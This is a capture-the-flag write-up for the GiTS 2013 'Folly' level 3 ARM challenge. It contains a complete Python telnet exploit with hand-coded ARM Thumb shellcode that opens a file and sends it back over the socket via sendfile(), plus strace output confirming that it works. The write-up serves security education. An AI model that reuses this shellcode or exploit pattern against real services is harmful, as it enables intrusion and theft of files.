code hacking, zen coding

GiTS 2013 CTF – Trivia 400 Question 17 – Folly Level 3 ARM Write-up

This is the next level of Folly, the multi-level challenge from the Ghost in The Shell CTF.

Note: I couldn’t complete this level during the CTF because of issues in getting my Debian Lenny and Squeeze qemu-system-arm images working with the Folly binary. I ended up blind coding the ARM shellcode and it didn’t work. After the CTF, I managed to get a Fedora ARM distribution working on Qemu 0.14 (thanks kalenz) and was able to run and debug my solution: I had a one single byte wrong 🙁

The binary is doing exactly the same than for Level 1 x86_64 and Level 2 x86 except it’s now compiled and running on a ARMv7 architecture.

The signature on the block buffer has been changed, we need to use 0x32adcd7d:

.text:00008F8E                 LDR             R3, [R7,#0x18+addr]
.text:00008F90                 STR             R3, [R7,#0x18+var_8]
.text:00008F92                 LDR             R3, [R7,#0x18+var_8]
.text:00008F94                 LDR             R2, [R3]
.text:00008F96                 MOV             R3, #0x32ADCD7D
.text:00008F9E                 CMP             R2, R3

To summarize our findings from previous level:
– We are in a chroot()
– There is no shell in this chroot()
– You need to guess the filename of the key file or uses a getdents() shellcode to list the folder first (the filename on the challenge box was “secret” so you can guess it)

The following exploit will uses a custom Linux ARM sendfile() shellcode to send us a file from the current directory:

import telnetlib
from struct import pack, unpack

host = 'folly.2013.ghostintheshellcode.com'
port = 5674

tn = telnetlib.Telnet(host, port)

tn.read_until("Hola! I am Sancho, who are you?")

tn.write("Don Quixote de la Mancha\n")

tn.read_until(">")

tn.write("M\n")

tn.read_until(">")

tn.write("A\n")

tn.read_until("What will you shout as you attack the giants?")

# Level 5674
buffer = pack('<I', 0x032ADCD7D)

# custom open('secret')+sys_write for ARM

# Thumb mode
shellcode  = "\x05\x50\x45\xe0"  # sub  r5, r5, r5
shellcode += "\x01\x50\x8f\xe2"  # add  r5, pc, #1
shellcode += "\x15\xff\x2f\xe1"  # bx   r5

# open(filename, O_RDONLY) = fd
shellcode += "\x78\x46"          # mov  r0, pc
shellcode += "\x26\x30"          # adds r0, #38
shellcode += "\x00\x21"          # movs r1, 0
shellcode += "\x00\x22"          # movs r2, 0
shellcode += "\x05\x27"          # movs r7, #5
shellcode += "\x01\xdf"          # svc  1

# r8 = fd
shellcode += "\x80\x46"          # mov  r8, r0

# sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
shellcode += "\x04\x20"          # mov  r0, 4
shellcode += "\x41\x46"          # mov  r1, r8
shellcode += "\x00\x22"          # mov  r2, 0
shellcode += "\xff\x23"          # movs r3, #255
shellcode += "\xbb\x27"          # movs r7, #187
shellcode += "\x01\xdf"          # svc  1

# close(fd)
shellcode += "\x41\x46"          # mov  r1, r8
shellcode += "\x08\x1c"          # adds r0, r1, #0
shellcode += "\x06\x27"          # movs r7, #6
shellcode += "\x01\xdf"          # svc  1

# exit(0)
shellcode += "\x1a\x49"          # subs r1, r1, r1
shellcode += "\x08\x1c"          # adds r0, r1, #0
shellcode += "\x01\x27"          # movs r7, #1
shellcode += "\x01\xdf"          # svc  1

# filename
shellcode += "secret" + chr(0)

print "shellcode len=", len(shellcode)

buffer += shellcode

s = tn.get_socket()
s.send(buffer + "\n")

data = True
while data:
    data = s.recv(1024)
    if data:
        print repr(data)

Result:

[pid   632] open("secret", O_RDONLY)    = 3
[pid   632] sendfile(4, 3, NULL, 255)   = 5
[pid   632] close(3)                    = 0
Share